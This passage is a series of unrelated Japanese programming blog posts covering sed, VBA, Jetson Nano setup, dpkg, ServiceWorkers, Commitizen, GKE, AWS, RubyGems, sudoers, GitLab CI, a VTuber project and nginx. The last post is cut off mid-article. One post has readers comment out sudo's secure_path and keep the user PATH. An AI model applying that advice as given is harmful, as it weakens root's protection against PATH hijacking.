sedコマンドの使い方

LPICの勉強をしていてsedコマンドがややこしかったのでまとめます。

#書式
sed(Stream Editor)は基本テキストを編集し、標準出力に渡す。(編集元は変更しない。)

1.sed [option] command [file]
2.sed [option] -e command1 [-e command2...] [file]
3.sed [option] -f script [file]

fileを指定しなかった場合は標準入力から読み込まれる。
###オプション
-f : スクリプトファイルを指定。
-i : 処理した内容で上書き。

###コマンド
d : マッチした行を削除。
s : パターンに基づき置換。gスイッチで全ての箇所を置換。
y : 文字変換。

#使用例
###dコマンド
1~5行目までを削除しnew_file.txtに保存。

```
sed '1,5d' file.txt > new_file.txt
or
sed -i '1,5d' file.txt
```
###sコマンド

sコマンドは```s/検索パターン/置換パターン/[g]```という形になる。
file.txt内のlpicを全て大文字に。

```
sed s/lpic/LPIC/g file.txt
```
下記ではエラーになるので```''```で囲う必要がある。
(>や<をレダイレクト記号として解釈しているため)

```
sed s/lpic/>_</ file.txt 
#error
```
###yコマンド
sコマンドと同様、```y/検索パターン/置換パターン/```と指定するけど、マッチした検索文字と同じ位置の置換文字を置き換える。

```
sed y/abc/123/ file.txt

a => 1,
b => 2,
c => 3
```
といった感じで置き換える。file.txtの中身が```AaBbCc```であれば```A1B2C3```と置換が行われる。
**yコマンドは検索・置換文字を同じ長さにする。**
#最後に
少しでも参考になったら嬉しいです。
また、間違いがございましたらご指摘ください。
備忘録 - VBA関数とワークシート関数 【VBA】

##VBA関数とワークシート関数
VBA関数：VBAに組み込みの関数。「VBA.」でリストを見ることができる。
ワークシート関数：エクセルのワークシートで用いる関数。VBAでも使用可。「Excel.」又は「Application.」でリストを見ることができる。

##同じ意味の関数がある場合
VBA関数が存在するものに関しては、ワークシート関数はVBAでは基本的に使用できない。

例えば、本日の日付を表すワークシート関数のTODAY関数は以下のようにエクセルで用いる
　　![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/360425/3844b9d2-840c-4303-de4a-c64615ec71ae.png)
　　![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/360425/29f229b0-4b65-3224-bc2e-9e7954c6f055.png)

一方で、VBA関数に同じ意味のDATE関数があるので、VBEで以下のように、使おうとすると

```vb
 Range("A1") = Today()
```
以下のようなエラーがでる
　　![Error Message.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/360425/2f395479-2802-2ff4-64f4-761c3d71621d.png)

Date関数を使うと、本日の日付を表示できる

```vb
 Range("A1") = Date
```

##【例外】同じ意味のワークシート関数が使える場合

```vb
'VBA関数を使って単語の頭文字を大文字にする
  Range("A1").Value = StrConv(.Range("B1").Value, vbProperCase)
'ワークシート関数を使って単語の頭文字を大文字にする        
  Range("A1").Value = Excel.Application.WorksheetFunction.Proper(.Range("B1").Value)
```
【Jetson Nano】TensorFlow Probabilityをインストール

Jetson Nanoに[TensorFlow Probability](https://www.tensorflow.org/probability?hl=ja)をインストールするには、工夫が要ります。
その詳細をstep by stepで記します。

そもそも、「Jetson NanoになんでTensorFlow Probabilityが必要なの？」と思われるかもしれません。
例えば以下のケースで必要です。
[JetRacer](https://github.com/NVIDIA-AI-IOT/jetracer)を自走させるモデルをTensorflowで作成している。
行動は連続値なのでガウス方策を採用、その多次元正規分布の確率密度関数にTensorFlow Probabilityを使用している。
などです。

### 問題と対処

普通に
「sudo pip3 install tensorflow-probability」
とやってしまうと、途中まで進行しますが、dm-treeの自動ビルドのところで、
「bazelってなんじゃ？そんなファイルもディレクトリも無いぞ！」
と怒られます。

```:エラーメッセージ該当箇所
bazel build //tree:_tree --symlink_prefix=build/temp.linux-aarch64-3.6/bazel- --compilation_mode=opt
unable to execute 'bazel': No such file or directory
```

上記エラーメッセージ中に「bazel build」とあり、Bazelでビルドしようとしていることがわかります。
確かに、[TensorFlow Probabilityの公式インストールガイド](https://www.tensorflow.org/probability/install?hl=ja)には、
「[Bazel](https://bazel.build/) ビルドシステムが必要」と明記してあります（2021年3月末時点）。

よって、
**Bazelが無いのが問題なので、事前にBazelをインストールする**
ということになります。

### 概要

#### 前提

適合しているバージョンのTensorflow本体がインストールされていること。
依存関係は[ここ](https://github.com/tensorflow/probability/releases)で確認します。

JetPackは4.5.1で実行しました。

#### 大まかな手順

[1.curlをインストール](#1curlをインストール)
&nbsp;&nbsp;Bazelのインストールスクリプト内でcurlを使用しているので。

[2.Java JDK8をインストール](#2java-jdk8をインストール)
&nbsp;&nbsp;Bazelが依存しているため。

[3.Jetson Nanoに適合したBazelをインストール](#3jetson-nanoに適合したbazelをインストール)

[4.TensorFlow Probabilityをインストール](#4tensorflow-probabilityをインストール)

### 詳細

#### 1.curlをインストール

Bazelのインストールスクリプト内でcurlを使用しているので、事前にインストールします。

```
sudo apt update
sudo apt install curl
```
#### 2.Java JDK8をインストール

Bazelが依存しているJava JDK8をインストールします。

```
sudo apt install openjdk-8-jdk
```
#### 3.Jetson Nanoに適合したBazelをインストール

**実質、ここがキモ**となります。
[Bazelのビルド済バイナリとインストールスクリプトが置いてあるGitHubのリポジトリ](https://github.com/PINTO0309/Bazel_bin)からcloneします。
カレントディレクトリに、「Bazel_bin」というディレクトリ（リポジトリ）ができます。
このリポジトリには、各バージョン、各アーキテクチャ用のインストールスクリプトがあります。
その中で、
バージョンは2.0.0、
Jetson Nanoに適合している、/Ubuntu1804_JetsonNano_aarch64/openjdk-8-jdk/　
内のインストールスクリプトを走らせます。

```
git clone https://github.com/PINTO0309/Bazel_bin.git
cd Bazel_bin/2.0.0/Ubuntu1804_JetsonNano_aarch64/openjdk-8-jdk/
./install.sh
```
実行後、/usr/local/bin/にbazelという名のバイナリファイルができているはずです。

#### 4.TensorFlow Probabilityをインストール

これで準備完了しました。
TensorFlow Probabilityをいつものように普通にインストールします。

```
sudo pip3 install tensorflow-probability
```

今度は怒られることもなく、すんなり終了するはずです。

### 参考・利用させていただいたリソース

・[【MediaPipe】Jetson Nanoで環境構築し、CPU/GPUで動かしてみた（v0.7.5）](https://dev.classmethod.jp/articles/mediapipe-install-on-jetson-nano-with-cpu-gpu/)
&nbsp;&nbsp;Bazelのインストール方法の参考にしました。ありがとうございました。

・[Bazelのビルド済バイナリとインストールスクリプトが置いてあるGitHubのリポジトリ](https://github.com/PINTO0309/Bazel_bin)
&nbsp;&nbsp;「Katsuya Hyodo」さんのリポジトリです。Bazelのビルド済バイナリとインストールスクリプト、しかもJetson Nanoドンピシャのものがあって、本当に助かりました。これが無ければもっと苦労していました。ありがとうございました。
Ubuntu（FerenOS)20.04のdpkg-statoverrideのエラーを治す apt upgradeできない場合に

先日、FerenOS(Ubuntu系ディストリビューション）で、パッケージのインストールやアップデードが不可能になった。
次のようなエラーを出す。

```
アップグレード: 3 個、新規インストール: 0 個、削除: 0 個、保留: 1 個。
77.8 MB 中 0 B のアーカイブを取得する必要があります。
この操作後に追加で 24.6 kB のディスク容量が消費されます。
続行しますか? [Y/n] y
dpkg: unrecoverable fatal error, aborting:
 unknown system user 'netdata' in statoverride file; the system user got removed
before the override, which is most probably a packaging bug, to recover you
can remove the override manually with dpkg-statoverride
E: Sub-process /usr/bin/dpkg returned an error code (2)
```
以前、netdataというネットワーク管理ツールをアンインストールしたあと、ホスト上のnetdataユーザもuserdelで削除したため、何かしらのエラーが起こっているっぽい。
「dpkg-statoverrideというコマンドで対処してね」と記述があるが、それでnetadataをdpkgのデータから削除しようと何かしらやってもエラーをはいた。

検索すると、/var/lib/dpkg/statoverrideというテキスト設定ファイルのnetdataの項目を削除すると治るらしい。

手順は

最初に、該当ファイルのバックアップを作成。
`sudo cp -p /var/lib/dpkg/statoverride /var/lib/dpkg/statoverride.bk`

次に、該当ファイルを書き換え
/var/lib/dpkg/statoverrideの”netdata”から始まる行を削除して保存。（#でコメントアウトする方法はうまく行かなかった。）

書き換えを行ったあと、
`sudo apt update`
`sudo apt upgrade`
でパッケージのアップグレードをかけると、正常に実行された。

誰かの参考になれば

＜参考サイト＞
[How to fix 'unknown user 'redis' in statoverride file' Stack Overflow](https://stackoverflow.com/questions/56224397/how-to-fix-unknown-user-redis-in-statoverride-file)
ServiceWorkerの流儀1……Safariのキャッシュと遅い読み込みの問題を解決する

この記事は Menhera.org 日本語 WebCompat シリーズの第2回です．

今回は，Safari に限らず，一般のブラウザで一貫性のある動作をする ServiceWorker の書き方を紹介します．

## 要点
- Safari は ServiceWorker 〔PWA には必須〕の存在下で，(或いは存在しなくとも) 古い CSS/JS を読み込んでしまい，更新しないことがある．これはサーヴァ側でヘッダを設定することで軽減可能な場合もあるが，そのような修正はむづかしいことも多い．
- Safari は WebComponents で使われる Shadow Root の内部に CSS を読みこんだときに描画が遅く，スタイルが適用されていない状態で一瞬表示されるため点滅が生ずるので醜い．
- **これらは実は fetch に使用されるデフォルトの挙動が Safari と Firefox/Chrome で異なることに由来する．本稿では，すべてのブラウザで一貫性のある動作をする ServiceWorker の書き方について述べる．**

## Why Safari?
- iOS でデフォルトであるばかりか，全てのブラウザが内部では Safari であるため，Safari できちんと動作しないことは膨大な数の iPhone/iPad/iPod ユーザを全て捨てることになってしまうため．
- Safari は Firefox/Chrome とは異なる動作が多く，対応していない技術も多いため，対応には多くの開発者が難儀することが知られている．

## 一般向けのアプリでは「Chrome に対応すれば良い」はやめましょう
一般のブラウザで動くコードは佳きプログラミングに繋がるものです．Chrome の独占に一般の開発者が加担するのは良くありません．

## 方略

### 1. ServiceWorker の更新を急かす

ServiceWorker の `install` イヴェントで，`ev.waitUntil(promise)` を用い非同期にキャッシュを予め満たしておくことでオフライン対応をよく行うかと存じますが，これが済み次第 `self.skipWaiting()` を実行することで直ぐに新しい ServiceWorker が使われるようにします．

### 2. 使われていない Cache を取り除く

ServiceWorker の `activate` イヴェントでは，以前の ServiceWorker で使われていたが今は使われていないキャッシュを取り除くことが推奨されます．これは，アプリの更新とかで古いキャッシュが使われずに残ることが屢〻あるからであります．

また，このように多数の非同期処理を行う場合一般について言えることなのですが，わたくしが思うに，`Promise.all()` で並列処理を行うことが推奨されましょう．さすれば読み込みも素早くなりましょうから．

例：

```javascript
const MY_CACHES = new Set(['assets-v1', 'cache-v1']);
self.addEventListener('install', (ev) => void ev.waitUntil((async () => {
    const keys = await caches.keys();
    await Promise.all(
        keys
        .filter(key => !MY_CACHES.has(key))
        .map(key => caches.delete(key))
    );
    return self.skipWaiting();
})()));
```

### 3. ServiceWorker で HTTP Cache-Control を制御する
これは，`fetch` イヴェントに於いて Request を書き換えることによって実現されます．

**注意：ServiceWorker が受け取る Request オブジェクトには，`mode` が `navigate` のものが含まれます．〔スクリプトでは使われないけれども．〕このような Request オブジェクトは，オプションを弄ることができません．されば，`navigate` 以外の値に定めれば良いでしょう．これを怠ればページの再読み込み時にエラーが出ます．**

気をつけて書いた例が以下になります：

```javascript
self.addEventListener('fetch', ev => void ev.respondWith((async (req) => {
    const freshReq = new Request(req, {
        mode: req.mode == 'navigate' ? 'cors' : req.mode,
        credentials: req.credentials,
        cache: 'no-cache', // 再検証を必須にする〔キャッシュ自体は用いられる．〕．
    });
    const cache = await caches.open('assets-v1');
    const cachedRes = await cache.match(freshReq);
    if (!cachedRes) return fetch(freshReq);
    try {
        const freshRes = await fetch(freshReq);
        if (!freshRes.ok) throw 'Non-2xx response';
        await cache.put(freshReq, freshRes.clone()); // clone() せねば Response が使用済みになってしまい読み込みできなくなる．
        return freshRes;
    } catch (e) {
        return cachedRes;
    }
})(ev.request)));
```

何と魔法のように，これで Safari も Firefox/Chrome 同様に最新の内容を返すようになり，開発中アプリが更新されないときに特に重宝します．また，WebComponent で Shadow DOM に CSS を読み込むときに特に顕著である描画の遅れもほぼ生じなくなります．

なお，この例では，予め定められたファイルだけをキャッシュし，キャッシュに無いものはキャッシュに追加しない実装を採用しています．

## 関連記事

https://qiita.com/metastable-void/items/76222ab564d67954dfdd
Commitizenを使用して、コミットメッセージを簡潔に記述にする

#はじめに
gitのコミットメッセージを記述する際、統一できず、書き方を迷うことがあったため、
Commitizenで統一する方法についてご説明致します。

#到達点
以下の2点を達成する
・Commitizenのインストール方法を学ぶ
・コミットメッセージを統一する

##流れ
① Commitizenのインストール方法
② コミットメッセージの記述方法

#① Commitizenのインストール方法
```
$ npm install -g commitizen

$ touch .czrc
$ vim .czrc
```
コマンドを入力するだけでインストールできます。
そして日本語訳にするため、ファイルを作成し以下の通りに修正します。

```/.czrc
{
  "path": "cz-conventional-changelog-ja"
}
```
`.czrc`に入力するだけで、日本語訳に変換されます

<br>


#② コミットメッセージの記述方法
```
$ git add .
$ git cz

1行目は100文字で切り取られ、超過分は次行以降に記載されます。

? コミットする変更タイプを選択: 
  fix:      バグ修正 
  docs:     ドキュメントのみの変更 
  style:    フォーマットの変更（コードの動作に影響しないスペース、フォーマット、セミコロンなど） 
  refactor: リファクタリングのための変更（機能追加やバグ修正を含まない） 
  perf:     パフォーマンスの改善のための変更 
  test:     不足テストの追加や既存テストの修正 
  build:    ビルドシステムや外部依存に関する変更（スコープ例: gulp, broccoli, npm） 
  ci:       CI用の設定やスクリプトに関する変更（スコープ例: Travis, Circle, BrowserStack, SauceLabs) 
  chore:    その他の変更（ソースやテストの変更を含まない） 
  revert:   以前のコミットに復帰 
  feat:     新機能 

(Move up and down to reveal more choices)
```

`git cz`とコマンドを打つと、11のタイプに分かれているので、適したタイプを選択します。

以下の順番で入力していきます。
・コミットのタイプ(prefix) 
・コミットのスコープ
・コミットのタイトル
・コミットの本文
・破壊的変更の有無
・関連issueの有無

コミットタイプとコミットタイトルのみ記入必須です！
<br>
  

```
$ git log
* commit f5f8e64d520e33ba2497b08aefa52c756c45629f
| Author: #省略
| Date:   #省略
|     perf: N+1対策修正 #23
:
```
`git log `で確認すると、コミットされたことが確認できます。



#参考記事
[日本語にする方法](https://www.npmjs.com/package/cz-conventional-changelog-ja
)
jquery OMG

### OMG

#### $ is not defined
cdnで読み込む前に$関数予防としてるので
https://pisuke-code.com/jquery-is-not-defined-solution/

#### jquery read,loadタイミング違いとか
https://www.flatflag.nir87.com/ready-1363

#### media queryとjs連携とか

https://qiita.com/r_abe01/items/a3a2e94b5162d949037b

### MEMO

※ jquery version

```javascript
if(typeof jQuery != 'undefined'){console.log(`jquery varsion: ${jQuery.fn.jquery}`);};
```

※ jsとjqueryの比較例
https://qiita.com/shshimamo/items/ba3a57a81d9780030969

※ 異なるver共存とか
https://www.buildinsider.net/web/jqueryref/068
Shared VPC環境で内部 HTTP(S) 負荷分散で使用する Ingress のIPアドレスを固定する方法

#はじめに

以下に記載がありますがShareVPCが前提でないので、Shared vpcの場合に静的IPアドレスをどう指定すべきかのメモです。
https://cloud.google.com/kubernetes-engine/docs/how-to/internal-load-balance-ingress#static_ip_addressing

#結論
サブネットを指定するときに、ホストプロジェクトとホストプロジェクトのVPCのサブネットを指定する。プロキシ専用サブネットは指定できません。

>
この IP アドレスは、GKE クラスタと同じリージョン内のサブネットからのものである必要があります。リージョン（プロキシ専用サブネットを除く）内で使用可能なプライベート サブネットを使用できます。Ingress リソースごとに異なるサブネットからのアドレスを持つこともできます。

コマンド例

```
gcloud compute addresses create STATIC_IP_NAME --region asia-northeast1 --subnet projects/YOUR-HOST-PROJECT/regions/asia-northeast1/subnetworks/SUBNET-NAME
```

あとはマニュアル通りにingressのyamlファイルでkubernetes.io/ingress.regional-static-ip-name:にSTATIC_IP_NAMEを指定すればOKです。

```
apiVersion: networking.k8s.io/v1beta1
kind: Ingress
metadata:
  name: ilb-demo-ingress
  namespace: istio-system
  annotations:
    kubernetes.io/ingress.class: "gce-internal"
    kubernetes.io/ingress.regional-static-ip-name: ilb-ip
spec:
  backend:
    serviceName: istio-internal-ingressgateway
    servicePort: 80

```

Ingressに静的なIPアドレスが振られています。

```
$ kubectl get ingress.networking.k8s.io/ilb-demo-ingress -n istio-system
NAME               CLASS    HOSTS   ADDRESS       PORTS   AGE
ilb-demo-ingress   <none>   *       10.180.4.17   80      45s
$ gcloud compute addresses describe ilb-ip --region asia-northeast1
address: 10.180.4.17
addressType: INTERNAL
creationTimestamp: '2021-03-30T22:14:49.922-07:00'
description: ''
id: '5684293617779850150'
kind: compute#address
```

--projectでhost projectを指定して静的IPアドレスを予約した場合、service projectから予約した静的IPにアクセスできないのでエラーになります。

```
$ kubectl describe ingress ilb-demo-ingress -n istio-system
Name:             ilb-demo-ingress
Namespace:        istio-system
Address:
Default backend:  istio-internal-ingressgateway:80 (100.64.0.7:8080,100.64.1.6:8080,100.64.2.6:8080)
Rules:
  Host        Path  Backends
  ----        ----  --------
  *           *     istio-internal-ingressgateway:80 (100.64.0.7:8080,100.64.1.6:8080,100.64.2.6:8080)
Annotations:  kubernetes.io/ingress.class: gce-internal
              kubernetes.io/ingress.regional-static-ip-name: ilb-ip
Events:
  Type     Reason  Age                    From                     Message
  ----     ------  ----                   ----                     -------
  Normal   Sync    3m10s (x2 over 3m11s)  loadbalancer-controller  Scheduled for sync
  Normal   Sync    2m51s                  loadbalancer-controller  UrlMap "k8s2-um-8p8s0x1d-istio-system-ilb-demo-ingress-ijv13fbb" created
  Normal   Sync    2m48s                  loadbalancer-controller  TargetProxy "k8s2-tp-8p8s0x1d-istio-system-ilb-demo-ingress-ijv13fbb" created
  Warning  Sync    45s (x15 over 2m48s)   loadbalancer-controller  Error syncing to GCP: error running load balancer syncing routine: loadbalancer 8p8s0x1d-istio-system-ilb-demo-ingress-ijv13fbb does not exist: the given static IP name ilb-ip doesn't translate to an existing static IP.
```
CloudTrailとCloudWatch

#はじめに
こちらではAWS機能について書いていきたいと思います。
公式ドキュメントやAWS認定試験（ソリューションアーキテクトやDevOpsなど）の勉強教材など細かい内容をかかず、ざっくりとした内容で。
試験などに興味はないし！公式ドキュメントなど長ったらしくて読めん！
という方に向けに作っていきたいと思います。
(私の備忘録も兼ねて)


写真はつけられればつけます。(Qiitaの制限の範囲内で)

#環境
AWS

#ドキュメント
https://docs.aws.amazon.com/index.html
https://docs.aws.amazon.com

#CloudTrail
・ルートアカウント/IAMユーザのオペレーションをトラッキングそてログを取得
・CloudTrailログファイルは暗号化されてS3に保存
・KMSによる暗号化
・無料
・マルチアカウントで利用可能で、複数AWSアカウント情報を集約可能

###どんなことをするの？
ユーザアクセスやAPIコールの内容をS3バケットに保存し、CloudWatch上で解析できる

#CloudWatch
AWSリソースとAWSで実行するアプリケーションのモニタリングサービス
・モニタリング
・ログ解析
・監視の集約化
・トラブルシューティング
・自動アクション
・運用状況の確認

###CloudWatch
AWS上で稼働するシステム監視サービスで、死活監視、性能監視、キャパシティ監視を実施
有料枠では確認内容や設定の柔軟さが充実化する


###CloudWatchLogs
CloudWatchと連動したログ管理プラットフォームサービス
EC２上のOS・アプリケーションのログやAWSマネージドサービスログを取得する

###CloudWatchEvants
CloudWatchはAWSリソースに対するイベントをトリガーにアクションを実行。
オペレーションに変更に応答し、応答メッセージ送信、機能のアクティブ化。変更、状態情報収集による修正アクションを実行する
データを取得・表示・アクションの実行までを集中管理

###メトリクス
標準メトリクス
５分間隔で取得できる

###カスタムメトリクス
メモリ私用状況などは取れるが空き容量などは取れない
Could not fetch specs from https://rubygems.org/と言われてbundle installできない時

dockerで開発環境を構築した際、コンテナ内でbundle installしようとしたら下記のようなエラーが。

```
Fetching source index from https://rubygems.org/

Retrying fetcher due to error (2/4): Bundler::HTTPError Could not fetch specs from https://rubygems.org/

Retrying fetcher due to error (3/4): Bundler::HTTPError Could not fetch specs from https://rubygems.org/

Retrying fetcher due to error (4/4): Bundler::HTTPError Could not fetch specs from https://rubygems.org/

Could not fetch specs from https://rubygems.org/
```

リクエストが正常に送れていないようです。。。
色々な記事を調べさせていただきましたが、よく見たのが

```
gem update --system
```

を実行すると直るというもの。
しかし、記事によっては「それでは効果がなかった」や「関係ないのでは」という声もあり、困惑

ただ「PCの再起動で直った」という記事もあって、とりあえずそれを試したところ、たしかに解消しbundle installできました...? しかし原因がわからないためモヤモヤしていました。

そんな中再度gemの更新でbundle installする際に同じエラーが再発してしまい、「これは絶対なんか原因あるでしょ」と思ってちょっと疑いながらも

```
gem update --system
```

を実行してみました。

すると綺麗サッパリ一瞬でコネクトしてbundle installできました。疑ってｽﾐﾏｾﾝﾃﾞｼﾀ
そもそもgem update --systemは、RubyGems自体のバージョンアップをするものということです。

[「gem update --system」と「gem update」の違い](https://qiita.com/tatama/items/4e9d6bb8bfa2d9556db7)
## 答えはここにあり?（※多分）
アップデートのログを見てみると、この様な記述がありました。

```
## Enhancements:
* Optionally fallback to IPv4 when IPv6 is unreachable. Pull request #2662
  by sonalkr132
```

「IPv6で接続できない時にIPv4にフォールバックする機能を追加した」って感じだと思います。

フォールバックについては以下の記事を参考にしました。
[IPv6/IPv4フォールバックとは](https://www.nic.ad.jp/ja/basics/terms/ipv6-ipv4-fallback.html)

issueも見に行ったのですが、IPv6での接続ができないという声が多かったようです。ちゃんと隅々まで読んでいないのでご了承ください
https://github.com/rubygems/rubygems/pull/2662

## 手動で対策している方もいた
実際に「IPv6の場合に接続ができないため、IPv4のアドレスをetc/hostsに追加する」という対処法を取られている方がおられました。
[rubygems.orgにアクセスできなくなった場合の解決法](https://the-oreno-michi.com/72/)
[Rails5.2でbundle install/updateができない。rubygems.orgに入れない](https://hirocorpblog.com/post-368/)

先程のissueにあったように、この問題を解決するためにフォールバックの機能を追加したアップデートがリリースされたのかな、と考えています。

# 結論

再起動で一度いけたのは何故だろうという気持ちではありますが、
rubygems.orgにつながらないときは、「IPv6で接続しようとして失敗している」という原因が考えられるため、gemを長らくアップデートしていない場合は、

```
gem update --system
```

をやってみるといいかもしれません。
これによりIPv6で失敗しても自動的にIPv4での接続に切り替えてくれる為、問題なく動作するということだと思います。

[bundle installができない](https://qiita.com/hoge_5555/items/174ae77708d8ab3cf402)
sudo で command not found を回避し、環境変数も引き継ぐ方法

# 要注意事項
**`/etc/sudoers` の設定を間違えると、最悪 `sudo` が使えなくなる。**

**`sudo` が使えなくなると、`/etc/sudoers` 自体を編集することもできなくなり、詰んでしまう。**

**GRUB が起動できるなら最悪復旧することもできるが、GRUB が使えない環境、たとえば Raspberry Pi などでは完全に詰んでしまうので、十二分に気をつけること。**

ちなみに完全に詰んでしまったら OS を再インストールするしかない。


# クイックセットアップガイド
```shell:Shell
sudo visudo
```
```diff:/etc/sudoers
- Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
+ #Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
+ Defaults	env_keep +="PATH"
```
```
sudo -E mycommand
```


# command not found の回避
`~/.bashrc` や `~/.zshrc` でパスを通しても、`sudo` をつけると `command not found` になることがある。

これを解決するには、`/etc/sudoers` という設定ファイルを編集する必要がある。

ただし、このファイルは設定を間違えると取り返しのつかないことになる非常にナイーブなファイルなので、通常の方法では編集することができない。

たとえば `sudo vi /etc/sudoers` を実行しても read only となり編集することができない。

このファイルを編集するには、以下のコマンドを実行する。

```shell:Shell
sudo visudo
```

```shell:/etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults	env_reset
Defaults	mail_badpass
Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root	ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo	ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d
```

このファイルを、以下のように変更する。

```diff:/etc/sudoers
- Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
+ #Defaults	secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
+ Defaults	env_keep +="PATH"
```

`secure_path` をコメントアウトして、`env_keep` を追加する。`secure_path` は削除しても良いが、怖いのでとりあえずコメントアウトにしておく。

これで `command not found` は解消される。


# 環境変数がセットされない問題の回避
次に、環境変数についてだが、`sudo` でコマンドを実行すると、一般ユーザで使えていた環境変数の大半が使えなくなる。

その理由は、先の `/etc/sudoers` に `env_reset` が追加されているからだ。

`env_reset` を設定すると、`sudo` 実行時に必要最低限の環境変数しか読み込まれなくなる。

ただ、ときどき環境変数が `sudo` では使えなくて不便に感じることがある。

そのときは、以下の例のように、`sudo` のオプション `-E` を使うことでこの問題を回避できる。

```shell:Shell
sudo -E mycommand
```

`env_reset` によって環境変数がリセットされているので、この行を消せば毎回 `-E` を指定しなくて済むのだが、それはいろいろと問題があるので、環境変数が必要なときのみ `-E` をつけることをおすすめする。


# 参考サイト
* [sudoした時にcommand not found が出るときの対処法](https://cha-shu00.hatenablog.com/entry/2017/03/02/123659)
* [sudoers覚え書き](https://qiita.com/progrhyme/items/6f936033b9d23efb1741)
【ありがち】存在するはずのスクリプトで "not found" エラーになる！？

Gitlab-CIでシェルスクリプトが起動できません！

標準エラー出力には　`not found` の文字。でも `ls` コマンドで確認すると、確かにスクリプトは存在しています! なぜだ！？

```yaml
job:
  image: docker/git # このDockerイメージでコンテナを作り、下のスクリプトを実行
  script:
    - ls -a .gitlab-ci/docker-build-push
    - .gitlab-ci/docker-build-push
```

```bash
$ ls -a .gitlab-ci/docker-build-push
.gitlab-ci/docker-build-push
$ .gitlab-ci/docker-build-push
/bin/sh: eval: line 129: .gitlab-ci/docker-build-push: not found
```

# 種明かし

実際のエラーの原因は「スクリプトが見つからない」こと、ではなく「スクリプトのshebangに指定した `/bin/bash` が見つからない」ことでした。

`docker/git` は Alpine Linux ベースなので、Bashは初期状態ではインストールされていないのです。

```yaml
job:
  image: docker/git # 実は Alpine Linux ベースだから Bash が入っていない
  script:
    - apk add bash # Bash をインストール
    - .gitlab-ci/docker-build-push
```

お粗末様でした。
皆で作るVTuberを作ってみた


## 皆で作るVTuberとは

サイト - https://mbevtuber.web.app/
GitHub - https://github.com/tkyko13/MbEVTuber
protopedia - http://protopedia.net/prototype/2179 

1.皆がそれぞれ顔のパーツを描く(画像ではGIMPで作成)

[![Image from Gyazo](https://i.gyazo.com/87419e1911e2b67be0dbf2b2fa2b84d1.png)](https://gyazo.com/87419e1911e2b67be0dbf2b2fa2b84d1)

2.今回自分が作成したサイトからアップロード

[![Image from Gyazo](https://i.gyazo.com/1bc3008c2b3e806d59371f7935bc57ac.png)](https://gyazo.com/1bc3008c2b3e806d59371f7935bc57ac)

3.もう一つ自分が作成したカメラから顔のパーツの位置に対して、アップロードした顔のパーツを配置するサイトでVTuberできる！（グロ注意）

[![Image from Gyazo](https://i.gyazo.com/91a748405c9ca15f04f3329bd4d1b149.png)](https://gyazo.com/91a748405c9ca15f04f3329bd4d1b149)

## LTに登壇もしました！

さっそくYouTube埋め込みです

<iframe width="100%" height="400" src="https://www.youtube.com/embed/XMsWBgNbuU0?t=2778" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>

### (ちなみに)

[前回の自分の記事](https://qiita.com/tkyko13/items/6b8cd03cdd306ce10663)で埋め込み方を紹介しています。
再生時間指定もできました！

```
<iframe width="100%" height="400" src="https://www.youtube.com/embed/XMsWBgNbuU0?t=2778" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
```

## 使用技術

* クラウドサービス
    * Firebase Cloud Storage
    * Firebase Hosting
* 画像アップロードサイト
    * Vue
    * Bootstrap
* VTuberサイト
    * p5js
    * ml5js - 顔検出

LINEで画像を受けったり、GyazoAPIを利用したりすると、透過画像じゃなくなってしまうので、今回はCloud Storageを利用してみました。

## どうやってこの案が出たのか…

近年では、YouTubeライブなどのスパチャで配信者に投げ銭するような文化が増えている
→ 現実だとお金よりなんか物をあげたいっていうのもあるよなぁ（もらうほうはお金がいいっていうのはよくあるが）
→ 洋服とか帽子とか送って着てもらえたら最高なのかな？
→ VTuberなら描いた絵を送ると（贈ると）即反映できそう（贈られすぎて物が増えて困ることもないとか）
→ 開発中…顔の位置に帽子が…これ面白いかも！

開発実際にしてみて気づくことはありますね
なのでつくづく感じますが、今の自分ができる一番簡単な方法でまずは動かしてみようという気持ちが大事だとつくづく感じました

## 今後の発展

* 他のパーツ対応
    * 現在顔と右目左目だけなので…
* TwitterやLINEで画像受け取り
    * 普段絵かきの人とか絵をプレゼントする方法ってTwitterとかなのかな？
    * オープンのとこでやりとりすると卑猥な画像も減る？

### 3Dモデルを贈り合う世界になるのでは

amazonみたいな3Dモデルストアがあって、そこから贈ったりもできるようになるのかも
今も普通に3Dモデルストアはあると思うが、贈るってただただデータをコピーして"送る"イメージだけど、投げ銭の文化と融合させるとデータというよりかは物を"贈る"というイメージになるのかなと思う
そうすると、データが現実世界に近くなっていくようなものかと思います
「データの存在感」とかっていうワードは自分の好きなワードです

ちょっとそこのワードもnoteとかで深堀りしてみよ…
nginxのクライアント証明書の検証失敗時に、外部サーバのカスタムエラーページにプロキシしたい

先日、**nginxでクライアント証明書を検証して失敗した際に、外部サーバに用意しているカスタムエラーページにプロキシしたいという要件が発生し、**四苦八苦しながらnginx.confを書いていました。

既に忘れ始めているため、備忘録としてその際の構文を残しておきます。

## nginx.conf

```nginx
server {
  ssl_verify_client optional;

  location / {
    if ($ssl_client_verify != SUCCESS) {
      proxy_pass https://hoge.com/error.html;
    }
  }
}
```

※ 一部構文を抜粋しているため完全には動作しません

### ssl_verify_clinet

